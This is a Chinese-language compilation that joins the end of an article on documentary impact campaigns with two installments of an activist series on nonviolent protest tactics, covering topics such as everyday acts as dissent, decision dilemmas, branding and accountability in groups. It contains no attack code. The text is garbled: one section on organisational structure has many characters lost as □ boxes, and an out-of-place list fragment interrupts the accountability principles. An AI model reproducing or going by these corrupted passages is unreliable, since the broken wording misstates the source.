做好这些需要战略召集人确定一个非常具体的变革目标，制定有意义的行动呼吁，并找到能够就变革愿景达成一致的合作伙伴。战略召集人必须了解特定问题领域的权力动态，并以正确的方式巧妙地将目标社区—— 无论是当地的倡导团体、说客、社区领袖、还是媒体——聚集在一起。

Participant Media（一家社会影响力媒体公司）的团队经常扮演这个角色。它最近为其纪录片 RBG 举办了一场影响运动，这是讲述美国最高法院法官 Ruth Bader Ginsburg 起源的故事。与 Magnolia Pictures 和 CNN Films 合作，该活动的一部分重点是动员法律界。在与法学院和律师事务所进行讨论后，确定了企业在组织内部和通过公益工作可以对女性平等问题采取的行动。

扮演战略召集人的人或团体可能会有所不同，但无论是咨询"影响力制作者"、倡导团体的组织者、还是电影公司的社会影响团队，都必

须从一开始就有意识地填补这个角色 ，作为努力的中心。

资助者

最后一个角色是：资助者。在艺术和宣传世界之间建立更强大的桥梁需要系统级的投资。前瞻性资助者可以帮助创造时代和能力，不仅可以开发一次性合作伙伴关系，还可以建立一个强大的协作生态系统。通过明智的投资，可以建立和磨练新的合作伙伴关系创意模型，实现故事策略的最大可能性。

很多不同的团体都可以扮演这个角色。慈善家和基金会可以资助活动并围绕更好的伙伴关系创造期望。电影的执行制片人和支持者可以确保为电影的影响力活动分配资金。倡导组织可以为故事驱动的活动和事件指定资金。

Doc Society 是一家致力于最大限度地发挥纪录片影响力的非营利组织，在创造联盟的系统级投资方面做得非常出色。通过 Good Pitch，该组织的全球系列为期一天的“推销论坛”，将故事讲述者与即将上映的电影连接到潜在的战略召集人和资助者网络中来。如此，他们就为这些角色提供了聚集在一起的空间，并建立了更好的合作关系。

案例研究：Chasing Coral 的 #DearLegislator 行动

塑造正确的角色对于为获得艾美奖的电影“Chasing Coral”设置影响力活动来说非常重要。这部电影使用美丽的水下图像和角色驱动的冒险叙事，将观众带入隐藏在海浪中的世界，使气候变化的影响感觉真实和个性化。在设计电影的宣传策略时，影响力团队专注于在美国东南部开展试点活动。*Underwater imagery of coral bleaching in New Caledonia taken during the filming of Chasing Coral. (Photo courtesy of Exposure Labs)*

作为一家制作公司，Exposure Labs 扮演讲故事者的角色，并与南卡罗来纳州的保护选民（CVSC）组织密切合作，作为战略召集人。电影的执行制片人—— 正在寻求动员政治行动的慈善家们—— 扮演着资助者的角色。

该团队首先概述了共同的变革目标：向州立法者施压，以支持清洁能源政策。为了实现这一目标，CVSC 利用这部电影，在“亲爱的南卡罗来纳州”活动的旗帜下，在几个目标地区动员当地社区合作伙伴和可信媒介的网络。

为了支持这项工作，Chasing Coral 团队制作了新的本地内容，并将演员带到活动中。然后筛选讨论将要点与特定的本地解决方案联系起来：即 南卡罗来纳州自己的可再生能源的可能性。行动呼吁是让观众通过发给当地代表的公开海报展示他们对清洁能源的明显支持。就是下面这样：*Posters written by constituents addressed to their local lawmakers as part of the Dear South Carolina campaign around Chasing Coral. (Photo Credit: Exposure Labs and the Conservation Voters of South Carolina)*

随着当地传播者（包括共和党政治家、教会领袖和退伍军人）举办的数十项活动，各种各样的选民纷纷前来观看在该地区放映的 Chasing Coral。虽然该活动正在进行中，但它已经引起了州立法者的注意。

这些当地立法者已经参加了放映，有些人已经转移到了对太阳能账单的支持。由于可能采用基于电影的协作推广策略，CVSC 现在正在扩大与老牌社区的联系，使用一部关于清洁能源转型中军事领导力的新电影：The Burden。

为了从故事的力量中受益，组织应该寻找机会与创意社区中的意外盟友搭建桥梁。需要最好的故事讲述者，他们知道如何制作引人入胜且有社会动员效应的故事。当然，我们需要为这种讲故事的创新提供更好的资金，这意味着投资于更好的合作伙伴关系。〇

1. 行动技巧(17)

原文

（18）如果抗议是非法的，那就让日常生活成为抗议 - iyouport

行动技巧、战术和原理

（2019年8月16日存档）如果您是一位活动家，或者您只是感觉到了不公平待遇的无法容忍，本文中介绍的内容都有可能给您带来一些灵感。

导读：

- 原理1: 当压倒性的国家镇压使标准异议成为不可能时，你需要找到使普通行为具有颠覆性的方法；
- – 策略1.1: 设计您的行动，以便您的对手被迫做出决定，并且，对手所有可用的选项都会发挥您的优势。
- – 策略1.2: 如果持不同政见的政治团体随着时间的推移变得更加激进，那么优秀的领导者应该以建设性的方式帮助定义“激进”。
- – 策略1.3: 不必要地危及您或周围人的安全会伤害运动本身。为了成为“铁杆”而牺牲对自己或他人的关心是一种法西斯主义倾向。
- – 策略1.4: 有效的激进主义需要汲取那些利害攸关的人提供的适当支持和指导。
- – 策略1.5: 当你开始现场演讲以动员更多人加入时，你会准确地传达希望观众了解的内容，你可以在言语、视觉和行动之间创造和谐，提供清晰、强大和不可抗拒的行动呼吁。要做到这点，一些注意事项是重要的。

中国没有什么特殊的地方。在中国发生的事在世界上很多国家都在发生，中国社会面临的困境在全世界有无数人都在面对。IYP 在去年的中国年大礼包中呈现了很多国家的反抗经验，而那些只是比较典型的一部分，并非全部。

这就是为什么我们一直认为“我最惨”思路是要不得的，“中国特殊论”也同样要不得，这些观点只会带来虚无主义，虚无主义只会让社

会安于被压迫的现状，这意味着永远无从改变。中国不仅毫不特殊，而且相比很多国家都有更多的反抗空间，这些空间的浮现取决于有多少人对这一问题进行思考。

思考需要一些创造力和知识经验的借鉴，有些时候就如把计步器绑在宠物狗身上那样的突破框架的思路，有可能得到更精彩的效果。以下是我们想到的。

——原理1：如果抗议是非法的，那就让日常生活成为抗议

2011年7月，白俄罗斯的经济危机深化，公众的挫败感达到了沸点。总统亚历山大·卢卡申科的独裁政权已经禁止了任何正式的政治抗议活动，警方正在镇压任何不同意见的表达。这种境况中国社会一定不陌生。

白俄罗斯社会没有忍耐，他们在开动脑筋。他们采取的应对方案是这样的。

活动家和组织者“通过社交网络”开始呼吁人们聚集在公共场合，集体拍手，或者让每个人的手机立刻响起来，从而将这些简单的日常行为转化成了深刻的公开异议表达。

这是一个壮观的场面。想象一下，原本平静平淡的街道上，忽然所有人开始拍手、手机铃声形成美妙的和弦……人们通过这样的动作彼此相识，彼此了解到对方是战友，了解到自己从来不孤单。

IYP 在“为什么联合不起来”的系列文章中分析过当权者如何通过拆散社会、让人们难以联合难以彼此了解对方的真实心态，来实现轻松的逐一击破。

他们通过让人们互相怀疑来孤立所有人。

当越来越多的人们学会了隐藏自己的真实意见和欲求的时候，我们就无法再彼此共鸣，这种情况下，即便有任何独立的英雄站出来反抗，也会被很快击倒；一次又一次的单枪匹马的失败，积累起来只能是给全社会的心理阴影—— 虚无主义的思考方式就来自这里。

这是当局的常用手段，在很多国家都不陌生。要想阻止它的起效，我们就需要首先彼此“认识”，彼此了解对方的心态，了解我们的战友队伍有多庞大。白俄罗斯活动家的方法是其中最简单的一种。

⚠这其中必须注意的是，呼吁这一方案的活动家必须是能够持续保持

匿名动员的活跃账户，宗旨是：不能在实践之前被当局抓到领导者——否则那将是极大的挫败。

📢关于如何保持活跃的社交网络账户匿名，详见《使用社交媒体时你必须注意什么？—— 更安全的抵抗》；匿名不是化名这么简单，它需要意味着让当局通过任何方法都找不到您的真实身份，所以您需要首先清理互联网上与您有关的一切线索性信息，我们称之为大清洗，这是一个基础步骤，具体做法详见《大清洗》和《小心机》；之后您要做的就是制作一个逼真的替身，我们称之为“Roleplay”或者叫袜子木偶，具体做法详见《抗议须知》和《角色扮演》。

此外，IYP 分类知识列表中的“技术防身”、“运动和反抗”、“给行动派”等部分中提供的知识和方法都是很重要的。

在白俄罗斯的案例下，随着这类*非抗议活动*的蔓延，警方开始了严厉的打击。该政权正确地承认人们在公开场合的鼓掌有助于破坏他们的权威。

那么，如果当权者什么也不做，并继续允许人们在没有受到惩罚的情况下在公共场合鼓掌，那么人们可以继续通过其他方式公开反对该政权；然而事实上相反，全世界都看到了大量的白俄罗斯公民因拍手而被捕的荒谬景象。

镇压暴露了该政府的深层不合理性，只有当它向议会提交一项法案，使无声抗议者的“有组织的不合作行为”非法时，这种看法才得到了加强。

你可以想象这种压制做法有可能在中国或其他很多国家被复制。于是，在此我们强调的并不是拍手和手机铃声的响起—— 而是，作为活动家您应该想到至少一种（最好是多种）能够将普通生活转变为反抗信号的做法。如果一种失败了那就换另一种，当你为越来越多的大众基本生活习惯赋予了反抗的意义，你将发现，联合的可能性变得更大，更难以被禁止。

许多年前，在1983年，智利的有组织劳工计划对智利经济的支柱-铜矿采取了大规模罢工的形式开启对皮诺切特独裁统治的新抵抗。

在罢工发生之前，矿山被军队包围了，如果矿工们完成这项计划，似乎肯定会有血腥屠杀发生。这种情况下怎么办？冒着让所有人中枪的危险吗？

行动组织者没有正面对抗，相反，组织领导层出色地转向了国会抗议日，由分散行动组成，呼吁那些支持他们的人缓慢地开车、在晚上连续开灯和关灯、晚8点准时地砰砰地敲打锅碗瓢盆 ……

许多人参与其中了，这些小型的抗议活动有助于重建已遭到残酷打击的反对派运动的信心，因为人们克服了他们对行动的恐惧。

💡 当大规模集会和公众抗议变得非常危险时，日常的行为就可以用来表示异议，聚集人群，宣传反抗的意志，说明权威之镇压的荒谬本质，并为当权者设置决策困境。

这一原则不仅适用于压制性的第三世界独裁统治，而且适用于所谓的更加开放的社会中的情况，在这些社会中，某些人口群体的日常生活被定罪。想想在盐湖城的摩门教教堂前亲吻的两名女性，直到她们被维稳人员匆匆赶出场地？或者舞蹈解放阵线，有组织的街舞在纽约抗议压制性的20年代的“歌舞法”？……这些故事如今仍然在书中闪耀。

拍手和敲打锅碗瓢盆并不是故事的全部。对于组织者来说，什么时候升级行动，时机的捕捉是非常重要的智慧。这取决于您的经验和敏锐的判断力。更重要的是从一开始，您就需要为您的活动制定一个战略轨迹：专注于为更大、更大胆的行动建立的活动路线图—— 尤其需要始终严格保密它。

——策略1.1 为你的对手制造决策困境

智力较量在几乎所有较量中都占据重要位置。勇者从来都不是鲁莽的。

如果你能很好地设计你的行动，你可以强迫你的对手进入他们必须做出既定反应的窘境，但对于他们来说没有任何选项是有利的—— 如果他们这样做了就会被诅咒，如果他们不这样做也会被诅咒。

事实上，许多具有具体目标的行动（例如封锁、静坐、树坐等）都需要设定这样的“决策困境”才能获得成功。[树坐是一种环保主义者的公民不服从形式，其中抗议者坐在树上，通常在为此目的而建造的小平台上，以保护树木免于被砍伐]

简单说就是，是进是退的困境不应该留给你，而是应该留给你的敌人；你和你的敌人之间谁先抢到这一决策困境的设计主导权，谁就会占上风。

考虑一下对重点建筑物的封锁行动。战术上有效的封锁仅为您的对手

留下了两个选项：1）与您协商/满足您的要求，或者 2）以武力反应（对你施加暴力驱逐或大规模逮捕你的支持者）。对于你的对手来说这是个两难的问题。不要让你的对手从后门溜走，也不要让你自己处于无限等待的境地。

你必须强迫一个明确的决策困境。否则，你就是在允许你的对手和/或警察决定你的行动是否可以成功，而不是你自己做出决定。一定要封住所有的出口—不论是字面意义上的还是隐喻层面上的，都是如此。

有创意的活动家可以调整这种战术洞察力，迫使对手在象征层面上陷入类似的困境。这里无法做具体的指导，首先无法预测具体到您的行动中的现实方案和状况，其次，更重要的是，如果我们推荐了具体做法，当局就会首先了解到它，这就给了你的对手以策划planB的机会。我们只推荐思考方式，现实使用中请发挥您的最佳创造力。

下面举一个小例子。以 Cindy Sheehan 的行动为例。在2005年夏天，她的儿子 Casey Sheehan 在伊拉克战争中死亡，她在布什总统的德克萨斯牧场前露营，当时布什正在那里度过为期三周的假期。

她发誓不会离开，直到布什出来与她会面，解释她的儿子究竟是死于什么“崇高的事业”—— 这个短语是布什的搪塞之词。

一旦独立媒体和主流媒体开始报道这场僵局，布什就陷入了决策困境：如果他确实与这位母亲见面，就确定他输了，他无法辩解是谁把老百姓的儿子推进了枪林弹雨中；如果不这样做，同样注定他输了，相当于承认自己的无理。换句话说，与她会面，布什就会在公众舆论中惨败；不与她会面，就相当于承认了她的观点才是正确的。

无论哪种方式，布什都输了。最后，他从未会面 **Sheehan**，而**“Camp Casey”**成为了美国舆论反战运动的关键分水岭时刻之一。

共和党国会议员聚集在波士顿茶党船上进行定制的媒体噱头：将一个标有“税码”的行李箱扔进港口。这是一种可视化的政治宣传。但是这时候，忽然水面上出现了一艘活动家的小艇—— 船身上写着 “工作家庭生活筏”—— 这几个字刚好在水面下但是可以清楚地看到，这是一个行为艺术，活动家们的诉求是不要被提议的单一税收淹没。

你可以想象那个场面。正由于共和党的宣传活动是一个标准的媒体噱头，他们事先通知了很多关键媒体前来拍摄，结果是，媒体的镜头全部捕捉到了活动家的小艇，而且自然而然地被活动家所吸引—— 因

为这是意料之外的景观。

随着相机的滚动，共和党现在只有两个选择：要么将“税码“行李箱扔进水里就如他们计划的那样，要么撤销他们处置税法的意图。如果选择如期进行—— 扔到水里，相当于他们承认自己无视活动家的抗议，即 无视老百姓的*工作家庭和生活*；如果不扔，将意味着共和党食言，承认税收对工作家庭有害。

与 Camp Casey 的案例一样，这一决策困境的设计是对抗过程中一种关键的元素。

通常，为了使这个策略起作用，你必需事先布置你的对手所处的境地。比如 Cindy Sheehan 承诺在度假期间在布什的牧场外露营，无论如何她也会坚持不离开。布什不敢驱逐他，否则就等于为自己制造了一个无可挽回的丑闻。他无法承受其结果带来的国内和国际压力；同样，活动家们的小艇也无法被驱逐，因为所有关键媒体的摄像机都在岸上戳着。活动家们可以静心等待，而且，共和党越是犹豫，他们就越能加强抗议者的信息。

——策略1.2：有策略地升级你的运动

在高度凝聚力的政治团体中，有一种倾向就是人们想要更加激进以强化凝聚力。

这一逻辑几乎写入了反对派政治团体的社会DNA：当团体成员的承诺水平提高时，他们就会希望更进一步。

这种升级和激烈战斗的趋势可能是一件好事，不过也不容易肯定这点。

这一切都取决于如何在集团文化中定义铁杆。它可以向前推动一项事业；也或者，被推入危险的或功能失调的下行螺旋中。那么，怎么办？

比较民主社会学生（SDS）和学生非暴力协调委员会（SNCC）的轨迹—这是20世纪60年代最重要的两个激进青年组织。

SDS 的学生运动在1969年爆发，Weather Underground 诞生是因为一些领导人错误地定义了激进—— 意味着立即与美国政府进行武装游击队斗争—— 这对他们来说是荒谬的；另一方面，在学生非暴力协调委员会（SNCC）的案例中，一些非常精明的领导者将核心定义为进入南部最隔离的地区以及组织一些最贫困的、受教育程度最低、

被剥削最严重的人群的行动。SNCC 也参与其他更明显的“激进”策略。

在这两种情况下，激进确实都是非常重要的—— 你无法用其他更少的东西来满足成员对激进的渴望。

两个群体的成员都表现出对他们所属群体的价值观的压倒性承诺；两个团体的成员都冒着生命危险、被监禁和残酷镇压，有些人丧生。但是，在 **SNCC** 的情况下战略性地定义了激进，因此获得了成功，而在 **SDS** 的情况下则是悲惨的。

简单说，并不是您和您的团队有勇气拼命就行了。你们的目标是成功对吧，而不是赴死，因为赴死往往并不意味着成功，正相反是失败。所以，策略是必要的。

优秀的领导者期待着对激进升级的迫切愿望，这完全正当。他们确定激进的表达旨在加强团体核心成员与其更广泛的政治基础之间的联系。

所以你必需能掌握这个度，要让组织的行动力可以进一步，让每一位成员清晰地感受到信心，而且，需要看起来像对政治基础和更广泛的公众的道德领导。

——策略**1.3:** 愚勇不是英雄

Gopal Dayanenni 说过，赴死是一种法西斯主义倾向。

我们经常听闻中国的异议人士非常勇敢地表示“我不需要匿名，不需要安全知识，我把生死置之度外了”。这是一种奇怪的逻辑，即便您自己可以放弃自己的安危，您的安全水平也会直接影响到合作者和团队的整体安全。一些拥有集体主义文化的国家往往视个人献身为美德，“壮烈”被认为是一种褒奖，事实上这是不可取的。

没错，在整个历史中直接行动一直是受压迫的人们用来建立权力的工具。当社区没有数十亿美元可用时，人们就会利用风险；他们把自己的生命、自由和安全都都押了注。但如果牺牲没有换来终极成功，那么牺牲就是无谓的。

直接行动肯定带来一些固有的风险。因此，巧妙地设计行动是对参与者、社区、您自己和运动本身负责任的方式，以最小化风险。

一个好的行动计划者可以区分自己能够（和应该）控制的风险和自己

无法控制的风险，并向所有参与者阐明可能产生的后果。深入的行动计划是您对周围人的责任。目标正义的行动绝不能采取邪教那种呼吁人们送死的动员方法。

即使您计划得很好，如果行动日到来并且实际情况不符合您的预期，也不要因害怕将其取消。你可以选择推迟和改期执行行动，而不是强迫你的团队进入没有准备的状态。

以下是在规划行动时您应该记住的一些基本关键注意事项：

– 即便是在同一场行动中，也不是每个人都会冒同样的风险。种族、阶级、性别认同（真实和感知）、年龄、外表、移民身份、身体能力 …… 均与风险值相关，都会改变您与行动之间的关系；风险即 警方的暴力和逮捕风险以及该行动可能产生的法律和经济后果。还要记住，您的行动小组中存在权力动态。假装它们不存在或忽略它们“为了行动的利益”，可能会损害你的执行能力，增加风险……

– 装备不能给您自己和队友制造危险的可能性；比如您的关键掩体周围充满了易燃物，而您选择燃烧瓶作为防守工具，有可能会很危险；

– 有些装备可以通过制定一个深刻的决策困境来增加你的行动的“持久力”（决策困境见前文）……但是，如果你选择躺在卡车前面、并且司机不知道你在那里，那么这里就没有什么决策困境，也没有行动逻辑。这已经不是直接行动，而是等待发生事故。

– 最好的行动是我们能够在我们想要的时间内停留的行动，并且行动以我们的目的达成为追求—— 而不是逮捕或受伤。

– 实践。实践。实践。练习的次数越多，您的安全性就越高，您的行动就越有效。

如果没有彻底的安全计划和技能水平评估，就不应该尝试一些策略，例如 攀爬等。直接行动不是游戏。

要谦虚。IYP 的 Knowledge Node 部分旨在成为一个广泛的工具包，而不是直接行动培训手册。如果您想设计直接操作，请接受适当的培训，尤其是基于本地的经验培训会很重要。

——策略1.4: 与他人合作，而不是让自己成为超人

你我都不可能是超人，我们也没必要成为超人—— 一场行动中最有发言权的人有可能并不是行动组织者，而是被行动影响波及最深刻的

群体。行动者应该培养谦卑之心，并从受问题影响最大的人那里获得意见和领导。

因为处于极端不公正状态的人们必须承受寻求解决这些不公正行为的运动的后果，他们从胜利中获得的收益最大—— 如果出现问题则遭受最大的损失。他们也是了解和解决问题的最佳来源。如果一场行动忽视或最小化他们的知识和声音，很容易造成弊大于利。

对于自己认定为领导者的活动家来说，接受他人的指导并不总是那么容易的。自我认同的“领导者”有时会过于迅速地投入，相信自己已经得到了答案，而他们的先入之见和偏见使他们无视周围的有机答案。我们可以通过故意尊重流程和培养问责制来缓解这些盲点。

对于活动家来说，问责制可能是一个可怕的概念，但最好将其视为一个我们走在一起的主动过程，而不是一个达成或未达成的标准。

以下是问责制的四个小原则：# 透明度：意味着明确您的政治、组织结构、目标、愿望和弱点。这里的要点是尽可能分享你的观点和动机。

- 参与：是关于积极和公平地与人们讨论影响他们的决策。
- 反思和审议：意味着积极开展对话，重新评估我们的目标。它发生在参与之后，但一旦它开始，它就是一个贯穿整个体验的连续线索。
- 回应：是对反思和审议提出的问题进行修改和调整的能力。

1. A “这是一个很好的问题”或“我很高兴你问到这个问题。”

- B “我认为重要的问题是……”或“真正的问题是……”
- C 插入清晰、简洁、措辞有力的信息。

– 视觉和动作：在设计动作时，想象一下如果被拍照了结果会是什么样—— 仅图像，没有标题。这张照片能传达你需要传达的信息吗？如果您的观众可以从远处看到您而没有听到您的声音，他们会收到您想要传达的消息吗？你怎么做才能增加这种可能性？

– 清点您的活动：观众在您的行动中看到或听到的所有内容都不可避免地成为您信息的一部分，因此请注意细节。你的发言人穿的是什么？他们是使用聚苯乙烯泡沫塑料杯喝水吗？……随着您的活动展开，添加一点点正念可以确保您想要的影响。

信息规则绝对不是创造力的敌人。标语牌可以展现不同的信息。每个

发言人都可以分享一个反映他们自己独特体验的声音。但是，当你传送信息时时，所有元素都应该强化你的核心信息。每个行动元素或交流响应都是独立的，成功地向观众传达了一个清晰一致和可信的强烈信息。

这样，你的动员和信誉才能是成功的。

——未完待续——

本系列有上百个故事，将陆续发送；请注意这其中每一个策略都不是独立的！它们需要和其他策略实现最佳搭配，才能获得整体成功。至于如何搭配，需要根据您当时所处的境况。本系列的故事就如一堆乐高，充满智慧的活动家可以用它们拼出伟大的作品。〇

1. 行动技巧 (18)

原文

（19）不要让你的对手定义你 - iyouport

行动技巧、战术和原理

（2019年8月23日存档）五个原理

如果您还没有看到第一部分，可以在这里回顾《如果抗议是非法的，那就让日常生活成为抗议》。本系列内容持续更新中。

今日导读：

- 原理2：成功意味着永远不要让你的对手有给你下定义的机会。相反，你必须根据你最关心的中心观点来定义自己；
- 原理3: 有时，结构性最差的群体可能是最暴虐的群体。如何避免这点？
- 原理4: 当你的行为针对具有制度权力的个人或实体以满足你的要求时，就能增加获胜的机会；
- 原理5: 不要让个别策略分散更大的策略。策略是您的总体计划，策略是您为实施计划所做的事—— 这对于构建有效的动员活动来说至关重要；
- 原理6: 愤怒是有力的。但要明智地使用它。如果你能占领道德制高点，愤怒才能是引人注目的，人们会加入你。如果你不这样做，你的愤怒会看起来像自以为是的歇斯底里……

原理**2**：品牌塑造——

对于许多社会积极人士而言，品牌塑造依旧是一个肮脏的词汇，其实这是个误解。品牌塑造实际上只是意味着“一起考虑消费者选择一种产品或服务而不是另一种产品或服务的一系列期望、记忆、故事和关系”。这里面的“产品和服务”完全可以是任何东西，包括政治理念。

如果你可以将品牌推广到消费领域并转化为公共领域中的思想相互作用，那么你就会发现，品牌推广工具不仅仅可以用于销售肥皂。活动家们应该注意这件事。

关于品牌推广需要牢记的三个要点：

– 品牌化实际上只不过是一套经过验证的原则，用于在集体想象中，将某个词、短语或图像与一组情感或想法联系起来。对此并没有什么固有的资本主义概念。企业使用品牌，因为它有效；反企业的活动家也照样可以使用它。

– 品牌塑造可以明确区分成功和失败。每一个运动都希望更多的人听到它的信息，但仅仅因为信息是正确的并不会有助于推广你的想法。你需要做的是说服人类的思想。

– 有效地使用品牌的社会运动有很多例子。例如，在90年代，坚持某种美学有助于统一Otpor青年运动横扫塞尔维亚并最终驱逐了斯洛博丹米洛舍维奇。

无论背景如何，只要您为目标受众制作了信息，那么该受众群体就会想要了解更多的信息。这就像让人们参与吸引他们的对话一样简单。如果你让人们感觉到你在自说自话而不是努力对话，他们就会忽视你 —— 或者更糟的是，对你不利。

并且，无论你喜欢与否，你都会被打上烙印，所以要积极主动。即使是显而易见的“无品牌”活动也同样是*有品牌的*。

尽管一直在努力地避免自我定义，但当“99%”的meme有机地成为运动内外人们的试金石时，占据运动最终成为一个有效的品牌。

⚠ 如果你拒绝为自己打造品牌，你就会为其他人 —— 包括你的敌人 —— 留下一个空缺来为你安装代替品牌。在其他人的框架内操作总是比在您自己设置的框架内操作更困难。

把你的团队的品牌想象成软管喷出的水。您可以将软管留在地面上让它随意喷射，也可以将其捡起，并引导其更精准地喷射。无论哪种方式，水都会继续流动 —— 如果你自己不想控制这根软管，别人就会去控制它！

品牌塑造是塑造信息的机会，最终利用信息的力量、意义和传递来赢得思想之战。

不存在一个没有品牌的活动或运动，尽管有很多品牌不好的例子。但对于你来说，这里只有两个选择：亲手树立自己的品牌、或者被品牌。

不论是中国的异议群体还是其他领域和形式的社会运动，在很大程度上缺失这点；活动家在自说自话、自我边缘化，最终很快被他们的对

手下定了不利于他们的定义，从而被击败。这些经验教训希望后发的行动者汲取。

原理**3:** 警惕无结构的暴政**——**

你有没有参加过某种无休止的会议，理论上每一位参与者都有平等的基础，但是，实际上只有一两个人在谈论百分之八十？这里没有主持人，因为害怕引入等级制度，所以讨论会无休止地进行下去，从来都不确定它何时完成；新成员逐渐失去耐心，因为他们的建议被忽视了，他们的想法完全没有机会表达……

欢迎来到无结构的暴政。

乔·弗里曼（Jo Freeman）1970年开创性的论文“无结构性暴政”（The Tyranny of Structurelessness）为上述这种持续存在的问题树立了一个名词，这个问题一直在困扰着非等级的组织、团体或集体的决策者。

弗里曼认为，在确定和纠正有效集体行动的障碍时，活跃人士声称要避开等级制度，甚至是避开领导力，实际上相当于单方面解除武装。正如她所指出的那样，“并没有哪个群体是真正无结构的。”

这意味着，争取一个没有结构的群体对于所谓的“客观”新闻故事、所谓的“价值中立”社会科学、或所谓的“自由”经济来说，既有用也有欺骗性。一个“放任主义”的群体与“放任主义”社会一样现实；这个想法成为了强者或幸运者的烟幕，以便建立无可争议的霸权**……**因此，无结构成为了掩盖权力的一种方式。

如果无结构只会导致伤痕累累的感觉和漫长无边的会议，那就太糟糕了，但还有一个问题：它根本不会长时间起作用。不论您参与任何类型的长期活动，缺乏问责制和有组织的反馈意见往往都是致命的。

那么一个无法正常运转的无结构组织的出路是什么？……很难想象，但最好的治疗方法是预防：从一开始就建立明确的流程。并且，如果你陷入这种布局，并希望将组织文化转变为更民主和更具参与性的文化，那么，引入和推动的关键概念本身并不是等级制度，而是问责制。

问责制是让民主成为可能的东西，请首先将其与沟通偏好中的机械性做法区分开来。当人们表达的意愿没有按照承诺实施时，问责制涉及建立真正的后果。（相比之下，无结构性也能提供许多方法来记录集

体偏好，但是很少有公平或有效的方法来确保他们采取行动）

许多组织结构与集体行动的哲学几乎都有一个共同点：无论好坏，他们承认自己的结构，而不是躲在不可能和模糊的无结构断言背后。这种承认及其促进的问责制是确保有效和公平决策的唯一途径。

只要我们的运动□再执着于「无结构」的意识形态，它就可以自由地发展出最适合其健康运作的各种组织型态。

这□表示我们就得走到另一个极端盲目模仿传统的组织型态。但是也□应该盲目地全盘排斥它们。一些传统的组织技术虽非完美，但也会很有用；有些传统组织技巧会提供一些□□，可用□思考该做些□么、避免□么，才能让运动中的个人以最少的代价达到特定目标。

大多时候，我们会需要试验各种□同的架构并发展多样的技巧□适应□同的情况。运动中发展出□的「抽签制□」（Lot System, 以抽签□随机决定分工）就是这样的一种新思□，它并□适用于所有情况，但有时候会很有用。我们还得发展其他关于组织结构的想法。但是在能够明智地进□试验之前，必须接受：结构并□注定就是坏的，只有过□僵化的结构才是坏的。

以下是一些民主架构与政治效□的基本原则：

1、以民主程序授权给特定的人从事特定的任务。单纯依惯□默许人们执掌职位或任务必定□可靠。如果人们是被团体选取□扛起一件任务，最好是在他们表示有兴趣与意愿之后，他们就许下□很难被忽视的承□。

2、要求所有被赋予权威的人对选择信任他们的人负责。这是团体对掌权的人维持控制的方法。个人可以□使权□，但是团体对于权□如何□使要有最终的决定权。

3、把权□尽可能地分散给很多人。这样可以防止权□垄断，同时要求掌权者在□使权□的过程中必须咨询很多人的意□。这也可以让很多人有机会去承担特定的任务、学习□同的技能。

4、任务必须□□。一个人正式或非正式地负责一件事就会使得这事看□像他/她的「财产」，团体就很难解除或控制这件任务。反过□□，如果任务轮换得太频繁，个人就没有足够的时间学会做自己的工作并从办妥事情中得到满足感。所以要平衡。

5、用□性的标准□分配任务。□管是因为团体喜欢某人而给他某个职

位，还是因为大家讨厌某人而给他苦差事，长远□□，对团体、对个人都没有好处。选择的主要考□必须是能□、兴趣与责任。

每个人都需要有机会学习他们□会的技能，但是这最好是通过某种「学徒制」，而□是把人丢下水叫他自己学游泳。承担一件自己无法掌握的责任会使人丧气。反过□□，被排斥而□能做 自己能做得好的事使人无法发展自己的技能。

6、尽可能频繁地让每个人都获知讯息。资讯是权□。获取资讯会增强一个人的权□。如果一个非正式网络在团体之外、在内部散布资讯，人们就已经在团体没有□与之下开始形成意□□。一个人越能掌握正在发生□么事，他/她就越能够发挥政治效□。

7、让团体成员平等地使用所需的资源。这□一定总是办得到，但是我们应该努□达成。如果一个成员垄断□某个团体运作需要的资源（比如某人的家人拥有的印刷机或冲洗暗房）会□恰当地影响这些资源的运用。技能和资讯也是资源，而且是很重要的资源。团体成员必须愿意把他们各自懂得的东西教给其他成员，这样技能才能平等地在成员之间共享。权力才能平衡。

🌤遵守□这些原则，□管各个□同的运动团体发展出□么组织架构，这些架构都能对团体负责、受团体控制。掌权的人们会是分散的、有弹性的、开放的、而且是暂时的。掌权者□能轻□地将自己的权□成为惯□，因为最终的决定是由整个团体共同做出的，团体来决定谁□使权威。

原理**4:** 明智地选择你的目标——

“没有需求，权力就什么也不承认。它从来不会承认，也永远不会承认“：Frederick Douglass

自21世纪初以来，加拿大多伦多的一个激进的反贫困组织安大略省反贫困运动（OCAP）以“赢得胜利”的口号组织起来。这是一个充满意义的简单口号：要赢，你必须要战斗。但重点不是战斗，而是要赢。

OCAP 是一个由穷人经营的也是为了穷人的组织，在强迫政客、福利工作者、和雇主提供他们所寻求的具体收益方面的工作被证明非常有效。例如，在许多成功的行动中，OCAP 通过控制加油站的输油管，直到雇主拿出拖欠前雇员的钱。同样，OCAP 向福利办公室进行的大规模代表团进攻也为低收入成员恢复了福利。

OCAP 之所以有效，是因为它能认识到社会变革是通过斗争来实现的，斗争涉及明确的要求，并对当权者施加有针对性的压力以满足这些要求。

对于那些花费很长时间进行有意义和创造性行动的人来说，没有什么比这句话更令人沮丧的了：“即使我愿意，我也没有权力为你做这件事。你想要的那个人就在隔壁。“（实际上这是一个真实的陈述）

当我们计划行动和活动时，必须了解我们的目标以及使他们之所以成为目标的原因，注意关注有能力满足我们要求的人：签署支票、干涉立法或取消合同。

⚠ 请注意，并非每个目标都以同样的方式易受攻击。封锁、占领或创造性破坏可能对一个目标有效，但对另一个目标则无效。而且有些东西可能一次性有效，下一次就不会再有效了，所谓的前人经验需要谨慎参考而不是照搬。

我们需要弄清楚我们的目标最弱的地方，以及我们自己最强的地方。

我们可以采取哪些行动以超出他们的经验？没有什么比他们完全无准备的东西更能撼动目标的了。

您可能觉得自己没有足够的力量来指使您的主要目标，但您的行动可能有助于您确定次要目标—— 可以施加压力以利用其对主要目标的影响力的个人或团体。这一判断将取决于您所面临的具体情况。

行动者应该是富有创造力的人。如果你能够准确地确定施加压力的位置和方式，那就没有什么不能完成的。

原理**5:** 选择支持你的战略的策略**——**

如果你没有战略，你就会成为别人的战略的一部分。

战略涉及识别您的团队的力量，然后找到集中力量的具体方法，以实现您的目标。例如，组织一次集会绝不应被视为一种战略。这是一种策略。在确定适当的策略之前，您需要先确定目标，弄清楚你可以对该目标采取什么样的行动。

制定战略需要：

- 分析问题;
- 确定你的目标（具体要求的制定）;

- 了解你的目标—— 掌握可以满足你需求的力量
- 识别你对目标的特定力量形式，以及如何将这种力量集中到最大的效果上

在该框架内，策略是一些具体的活动：

